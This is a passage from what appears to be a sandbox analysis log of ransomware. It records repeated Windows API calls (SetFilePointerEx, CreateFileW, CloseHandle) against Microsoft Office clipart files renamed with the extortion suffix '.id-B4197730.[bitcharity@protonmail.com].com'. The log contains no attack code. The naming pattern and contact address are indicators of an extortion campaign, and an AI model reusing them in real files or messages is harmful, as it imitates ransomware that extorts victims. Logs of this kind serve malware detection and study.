0xffffffff [0252.766] CloseHandle (hObject=0x1228) returned 1 [0252.767] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.767] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217302.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.767] CloseHandle (hObject=0x1228) returned 1 [0253.474] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.474] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217872.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.475] CloseHandle (hObject=0x1194) returned 1 [0253.477] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.477] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239611.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.477] CloseHandle (hObject=0x1194) returned 1 [0253.482] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.482] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239935.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.482] CloseHandle (hObject=0x1194) returned 1 [0253.483] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.483] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239941.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.484] CloseHandle (hObject=0x1194) returned 1 [0253.485] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.486] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239943.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.486] CloseHandle (hObject=0x1194) returned 1 [0253.487] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.487] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239951.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.488] CloseHandle (hObject=0x1194) returned 1 [0253.489] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.489] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239953.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.489] CloseHandle (hObject=0x1194) returned 1 [0253.490] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.490] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239955.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.490] CloseHandle (hObject=0x1194) returned 1 [0253.491] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.491] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239965.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.492] CloseHandle (hObject=0x1194) returned 1 [0253.494] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.494] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239967.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.494] CloseHandle (hObject=0x1194) returned 1 [0253.495] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.495] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239973.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.496] CloseHandle (hObject=0x1194) returned 1 [0255.436] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.436] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239975.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.453] CloseHandle (hObject=0x11d0) returned 1 [0255.455] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.455] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287024.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.455] CloseHandle (hObject=0x11d0) returned 1 [0255.457] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.457] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287408.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.457] CloseHandle (hObject=0x11d0) returned 1 [0255.459] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.459] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287415.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.459] CloseHandle (hObject=0x11d0) returned 1 [0255.460] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.460] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287417.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.461] CloseHandle (hObject=0x11d0) returned 1 [0255.462] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.462] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287641.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287641.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.462] CloseHandle (hObject=0x11d0) returned 1 [0255.464] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.464] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287642.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.464] CloseHandle (hObject=0x11d0) returned 1 [0255.466] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.466] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287643.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.466] CloseHandle (hObject=0x11d0) returned 1 [0255.468] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.468] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287644.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.468] CloseHandle (hObject=0x11d0) returned 1 [0255.470] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.470] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287645.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287645.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.470] CloseHandle (hObject=0x11d0) returned 1 [0255.472] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.472] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0289430.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.472] CloseHandle (hObject=0x11d0) returned 1 [0255.474] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.474] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0290548.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0290548.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.474] CloseHandle (hObject=0x11d0) returned 1 [0255.476] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.476] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0291794.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.476] CloseHandle (hObject=0x11d0) returned 1 [0255.478] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.478] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292248.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292248.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.478] CloseHandle (hObject=0x11d0) returned 1 [0255.480] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.480] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292270.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.481] CloseHandle (hObject=0x11d0) returned 1 [0255.482] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.482] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292272.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292272.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.482] CloseHandle (hObject=0x11d0) returned 1 [0255.484] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.484] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292278.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.484] CloseHandle (hObject=0x11d0) returned 1 [0255.486] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.486] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292286.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.486] CloseHandle (hObject=0x11d0) returned 1 [0255.487] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.494] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293800.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293800.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.494] CloseHandle (hObject=0x11d0) returned 1 [0255.496] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.496] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0293832.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0293832.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.497] CloseHandle (hObject=0x11d0) returned 1 [0255.500] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.500] SetFilePointerEx (in: hFile=0x11d0, 